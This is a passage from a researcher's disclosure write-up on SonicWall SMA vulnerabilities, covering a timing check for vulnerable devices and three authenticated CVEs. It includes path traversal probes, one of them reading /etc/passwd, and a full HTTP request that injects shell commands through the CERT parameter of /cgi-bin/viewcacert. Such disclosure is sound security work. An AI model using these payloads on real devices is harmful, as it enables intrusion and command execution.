
In practice, I think this last issue can easily be used to figure out if a device is vulnerable to the two other vulnerabilities as they will likely all be patched together. Essentially, a device is vulnerable if the following requests takes a bit of time to complete:

/cgi-bin/handleWAFRedirect?repeated=1&hdl=../etc/doesntexist

It should take more time to complete than requesting an actual file such as:

 /cgi-bin/handleWAFRedirect?repeated=1&hdl=../etc/passwd

Three other vulnerabilities were discovered during the analysis, but they all require an account to be exploited:

  • CVE-2019-7484 – Authenticated SQL injection
  • CVE-2019-7485 – Authenticated Buffer Overflow
  • CVE-2019-7486 – Authenticated Code injection

The two first ones are very similar to what was described above, while the last is a straightforward command injection, but I believe it requires an admin account, so you can be the judge of the criticity. It can be exploited like this:

POST /cgi-bin/viewcacert HTTP/1.1
Host: 192.168.200.1
[...]
Content-Length: 67

buttontype=delete&CERT=newcert-3'--'
ping -c 4 192.168.200.123
ls

Regarding the timeline, I reported these issues on the 5th of June 2019 to Sonicwall’s team and the advisories were then published on the 17th of December 2019.

I had a quick look recently (so 2 months after the critical update was released) to see whether there are still unpatched devices out there. I only tested the directory traversal issue and obviously there are still numerous vulnerable devices exploitable from the Internet. This is why I didn’t go ahead and post the exploit code itself in here.

❌
❌